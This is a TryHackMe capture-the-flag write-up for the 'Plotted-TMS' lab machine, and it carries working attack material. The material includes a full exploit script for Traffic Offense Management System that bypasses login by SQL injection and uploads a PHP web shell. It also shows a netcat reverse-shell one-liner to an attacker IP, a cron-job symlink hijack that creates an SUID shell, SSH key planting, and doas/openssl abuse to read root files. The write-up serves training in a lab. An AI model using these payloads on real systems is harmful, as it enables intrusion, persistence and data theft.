THM Writeup – Plotted-TMS
Everything here is plotted!
Happy Hunting!
Tip: Enumeration is key!
Add IP address to your hosts
file:
echo '10.10.208.65 plotted.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv plotted.thm
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 22,80,445 plotted.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
445/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
On port 80 there is only Apache2 Ubuntu Default Page – I reviewed the page source, found nothing – the same is for port 445, there is no samba as one would expect, but web application again.
Enumeration
Time to directory bruteforce the web application:
gobuster dir -u http://plotted.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
/index.html (Status: 200)
/admin (Status: 301)
/shadow (Status: 200)
/passwd (Status: 200)
/server-status (Status: 403)
===============================================================
Ok, let’s check those directories, start off with /admin
:
By clicking id_rsa
we get:
A string that looks like Base64 encoded.
Use CyberChief to decode it:
Hm, ok, now /shadow
, browse to http://plotted.thm/shadow
Base64 encoded string again:
By browsing to http://plotted.thm/passwd we get Base64 encoded string again:
Actually it is the same string as we got by accessing /shadow
Now directory bruteforce the application on port 445:
gobuster dir -u http://plotted.thm:445 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
/index.html (Status: 200)
/management (Status: 301)
/server-status (Status: 403)
===============================================================
Browse to http://plotted.thm:445/management/:
By clicking the Login
button we are forwarded to http://plotted.thm:445/management/admin/login.php:
At this point I googled Traffic Offense Management System exploit
:
And found a Remote Code Execution exploit.
exploit.py
content:
#!/usr/bin/env python2
import requests
import time
from bs4 import BeautifulSoup
print ("\nExample: http://example.com\n")
url = input("Url: ")
payload_name = "evil.php"
payload_file = "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '<pre>'; die; } ?>"
if url.startswith(('http://', 'https://')):
print ("Check Url ...\n")
else:
print ("\n[?] Check Adress\n")
url = "http://" + url
try:
response = requests.get(url)
except requests.ConnectionError as exception:
print("[-] Address not reachable")
sys.exit(1)
session = requests.session()
request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "'' OR 1=1-- '", "password": "'' OR 1=1-- '"}
bypass_user = session.post(request_url, data=post_data)
if bypass_user.text == '{"status":"success"}':
print ("[+] Bypass Login\n")
cookies = session.cookies.get_dict()
req = session.get(url + "/admin/?page=user")
parser = BeautifulSoup(req.text, 'html.parser')
userid = parser.find('input', {'name':'id'}).get("value")
firstname = parser.find('input', {'id':'firstname'}).get("value")
lastname = parser.find('input', {'id':'lastname'}).get("value")
username = parser.find('input', {'id':'username'}).get("value")
request_url = url + "/classes/Users.php?f=save"
headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryxGKa5dhQCRwOodsq", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
data = "------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ userid +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+ firstname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+ lastname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+ username +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+ payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n" + payload_file +"\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq--\r\n"
upload = session.post(request_url, headers=headers, cookies=cookies, data=data)
time.sleep(2)
if upload.text == "1":
print ("[+] Upload Shell\n")
time.sleep(2)
req = session.get(url + "/admin/?page=user")
parser = BeautifulSoup(req.text, 'html.parser')
find_shell = parser.find('img', {'id':'cimg'})
print ("[+] Exploit Done!\n")
while True:
cmd = input("$ ")
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36'}
resp = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
print(resp)
#print req.text.replace("<pre>" ,"").replace("<pre>", "")
time.sleep(1)
elif upload.text == "2":
print ("[-] Try the manual method")
request_url = url + "/classes/Login.php?f=logout"
cookies = session.cookies.get_dict()
headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "sec-ch-ua-mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
session.get(request_url, headers=headers, cookies=cookies)
else:
print("[!]An unknown error")
else:
print ("[-] Failed to bypass login panel")
I copied the exploit to a file named exploit.py
, then little bit modified it, because of errors (added parethesis to print
function) and then executed it:
root@ip-10-10-201-92:~# python exploit.py
Example: http://example.com
Url: http://plotted.thm:445/management/
Check Url ...
[+] Bypass Login
[+] Upload Shell
[+] Exploit Done!
$ id
Traceback (most recent call last):
File "exploit.py", line 58, in <module>
resp = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
File "/usr/lib/python3/dist-packages/requests/api.py", line 112, in post
return request('post', url, data=data, json=json, **kwargs)
File "/usr/lib/python3/dist-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 506, in request
prep = self.prepare_request(req)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 449, in prepare_request
hooks=merge_hooks(request.hooks, self.hooks),
File "/usr/lib/python3/dist-packages/requests/models.py", line 305, in prepare
self.prepare_url(url, params)
File "/usr/lib/python3/dist-packages/requests/models.py", line 379, in prepare_url
raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '/management/uploads/1645433520_evil.php?cmd=id': No schema supplied. Perhaps you meant http:///management/uploads/1645433520_evil.php?cmd=id?
As you can see the exploit was successful, however the “interactive” part did not work – I didn’t want to waste any more time with the exploit, so I checked what it does – it uploaded an evil php
that we can use to execute our commands – so let’s check if it really exists, browse to http://plotted.thm:445/management/uploads/:
Yep, it’s there.
Now click the ...._evil.php
file and add cmd
parameter with a value of id
– first we’ll check if it works:
Find out what users exists on the target machine:
We have user plot_admin
and ubuntu
.
Let’s try to find user flag:
Ok, here it is, but it is only readable by the plot_admin
user.
Getting a shell
Now let’s try to get a reverse shell – first start netcat listener:
nc -lnvp 4242
Take this payload (change IP address and PORT accordingly):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.201.92 4242 >/tmp/f
Open BurpSuite’s Decoder modul, paste your payload and encode it as URL:
Take the encoded payload and paste it as a value of cmd
parameter, browse to:
http://plotted.thm:445/management/uploads/1645433520_evil.php?cmd=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%32%30%31%2e%39%32%20%34%32%34%32%20%3e%2f%74%6d%70%2f%66
And we’ve got a reverse shell:
Upgrade the shell:
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
stty rows 24 columns 80
export TERM=xterm-256color
reset
user.txt
So again, list plot_admin
‘s files and directories:
www-data@plotted:/home/plot_admin$ ls -lA
total 24
lrwxrwxrwx 1 root root 9 Oct 28 10:09 .bash_history -> /dev/null
-rw-r--r-- 1 plot_admin plot_admin 220 Oct 28 07:56 .bash_logout
-rw-r--r-- 1 plot_admin plot_admin 3771 Oct 28 07:56 .bashrc
drwxrwxr-x 3 plot_admin plot_admin 4096 Oct 28 08:34 .local
-rw-r--r-- 1 plot_admin plot_admin 807 Oct 28 07:56 .profile
drwxrwx--- 14 plot_admin plot_admin 4096 Oct 28 07:25 tms_backup
-rw-rw---- 1 plot_admin plot_admin 33 Oct 28 09:55 user.txt
As we saw through the web, there is user.txt
, but we are not allowed to read it. Also there is an interesting directory tms_backup
, but again we are not allowed to access it = we have to do a lateral movement, to elevate our privileges at least to plot_admin
user.
Check basic escalation vectors first:
www-data@plotted:/home/plot_admin$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * plot_admin /var/www/scripts/backup.sh
#
This might be the way – there is a cron job that runs as user plot_admin
– now check what permissions we have over the backup.sh
:
www-data@plotted:/home/plot_admin$ ls -lA /var/www/scripts/backup.sh
-rwxrwxr-- 1 plot_admin plot_admin 141 Oct 28 09:10 /var/www/scripts/backup.sh
We can only read it, nvm check parent directory permissions:
www-data@plotted:/home/plot_admin$ ls -lA /var/www/
total 8
drwxr-xr-x 4 root root 4096 Oct 28 09:18 html
drwxr-xr-x 2 www-data www-data 4096 Oct 28 09:10 scripts
Good news, we are the owner of the parent directory, it means we can create new files in this directory.
Now we have two options:
- we can remove existing
backup.sh
file event if we don’t have permissions to write to it, and create a “new” one - or we can create our own
script.sh
file and softlinkbackup.sh
Let’s do the second option:
www-data@plotted:/var/www/scripts$ echo 'cp /bin/bash /home/plot_admin/bashpa; chmod +xs /home/plot_admin/bashpa' > script.sh
www-data@plotted:/var/www/scripts$ chmod +x script.sh
www-data@plotted:/var/www/scripts$ ln -sf script.sh backup.sh
Wait for the cronjob to execute – if there is a file /home/plot_admin/bashpa
, job has been already executed.
Execute /home/plot_admin/bashpa
:
www-data@plotted:/var/www/scripts$ cd /home/plot_admin/
www-data@plotted:/home/plot_admin$ ls -l
total 4632
-rwsr-sr-x 1 plot_admin plot_admin 1183448 Feb 21 10:30 bashpa
drwxrwx--- 14 plot_admin plot_admin 4096 Oct 28 07:25 tms_backup
-rw-rw---- 1 plot_admin plot_admin 33 Oct 28 09:55 user.txt
www-data@plotted:/home/plot_admin$ ./bashpa -p
bashpa-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1001(plot_admin) egid=1001(plot_admin) groups=1001(plot_admin),33(www-data)
Our effective permissions (euid) are plot_admin
.
Read the user flag:
bashpa-5.0$ pwd
/home/plot_admin
bashpa-5.0$ cat user.txt
[REDACTED]
root.txt
Let’s now add our SSH key and connect via SSH to get normal shell.
On your attacking machine, generate a key pair:
root@ip-10-10-201-92:~# ssh-keygen -f plot_admin
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in plot_admin.
Your public key has been saved in plot_admin.pub.
The key fingerprint is:
SHA256:be9W4gXny24swclescii/EFWfaihbII+CPqPZObd6Yk root@ip-10-10-77-223
The key's randomart image is:
+---[RSA 2048]----+
| |
| . . |
| o o .|
| . o o.oo. |
| . . S O+.* o |
| . . o *..O * |
|. + . o. ..+.O . |
| * o o +o o= = |
| +.E.= ....+. |
+----[SHA256]-----+
root@ip-10-10-77-223:~# ls -la plot*
-rw------- 1 root root 1675 Feb 21 10:48 plot_admin
-rw-r--r-- 1 root root 402 Feb 21 10:48 plot_admin.pub
On the target machine create .ssh
directory in the plot_admin
‘s home directory and change its permissions:
bashpa-5.0$ mkdir .ssh && chmod 0700 .ssh
Go back to your attacking machine and read the generated public key plot_admin.pub
– copy its content and run following on the target machine:
bashpa-5.0$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCibRLEh4BNCvZReaYyM4HVtNY2tgoUNuJ6kFFcjddKUjGzHt4FnR8pOwWSQ7dQyHzWzcu4GVbgnGke8B8RYp5VbFkZR5O1iS3/uYPgCPzTd5uopT+tqaw25dQ+l7nCX1jlrIQQq6Of3h+8Ul+beKSYJxi0vf/zAFDO37khdpQX/w6w0xO9kqE8VSijjgbd0hwDQnznRTgYjXadYihTq5Zk/TvLlEJXxVUyM2HzW6aaq0+IskG96UlfTnbsfOUN1C147siq6qslBgsBjvFaNnORsQvXmY4g0mVxEPw0gMTGZX6tEq5YLvN1LIfyuONzOLJ5Yq/IA97yz5lS3MCurC0x root@ip-10-10-77-223' > .ssh/authorized_keys
bashpa-5.0$ chmod 600 .ssh/authorized_keys
Connect to the target machine via SSH:
root@ip-10-10-201-92:~# ssh plot_admin@plotted.thm -i plot_admin
The authenticity of host 'plotted.thm (10.10.85.239)' can't be established.
ECDSA key fingerprint is SHA256:VuleXSwNLcXI7crDicOe6m2y2VRzvfI3DhBqq5oZeXI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'plotted.thm,10.10.85.239' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
. . .
plot_admin@plotted:~$
We need to find a way to escalate our privileges to root:
plot_admin@plotted:~$ find / -type f -perm -4000 2>/dev/null
/home/plot_admin/bashpa
/snap/core18/2284/bin/mount
/snap/core18/2284/bin/ping
/snap/core18/2284/bin/su
/snap/core18/2284/bin/umount
/snap/core18/2284/usr/bin/chfn
/snap/core18/2284/usr/bin/chsh
/snap/core18/2284/usr/bin/gpasswd
/snap/core18/2284/usr/bin/newgrp
/snap/core18/2284/usr/bin/passwd
/snap/core18/2284/usr/bin/sudo
/snap/core18/2284/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2284/usr/lib/openssh/ssh-keysign
/snap/core18/2246/bin/mount
/snap/core18/2246/bin/ping
/snap/core18/2246/bin/su
/snap/core18/2246/bin/umount
/snap/core18/2246/usr/bin/chfn
/snap/core18/2246/usr/bin/chsh
/snap/core18/2246/usr/bin/gpasswd
/snap/core18/2246/usr/bin/newgrp
/snap/core18/2246/usr/bin/passwd
/snap/core18/2246/usr/bin/sudo
/snap/core18/2246/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2246/usr/lib/openssh/ssh-keysign
/snap/core20/1328/usr/bin/chfn
/snap/core20/1328/usr/bin/chsh
/snap/core20/1328/usr/bin/gpasswd
/snap/core20/1328/usr/bin/mount
/snap/core20/1328/usr/bin/newgrp
/snap/core20/1328/usr/bin/passwd
/snap/core20/1328/usr/bin/su
/snap/core20/1328/usr/bin/sudo
/snap/core20/1328/usr/bin/umount
/snap/core20/1328/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1328/usr/lib/openssh/ssh-keysign
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/snapd/14549/usr/lib/snapd/snap-confine
/snap/snapd/13640/usr/lib/snapd/snap-confine
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/doas
looks interesting.
Actually the doas
command is very similar to sudo
command, let’s try it:
plot_admin@plotted:~$ doas -u root /bin/bash
doas: Operation not permitted
No luck – it is not allowed for our user.
Check what our user can do with doas
command:
plot_admin@plotted:~$ cat /etc/doas.conf
permit nopass plot_admin as root cmd openssl
This looks great – our user can execute openssl
command as root without password using doas
.
Let’s check GTFOBins for a way to exploit this:
We just need to read the flag, so this exploitation is enough for us:
plot_admin@plotted:~$ doas openssl enc -in "/root/root.txt"
Congratulations on completing this room!
[REDACTED]
Hope you enjoyed the journey!
Do let me know if you have any ideas/suggestions for future rooms.
-sa.infinity8888
Do you like this writeup? Check out other THM Writeups.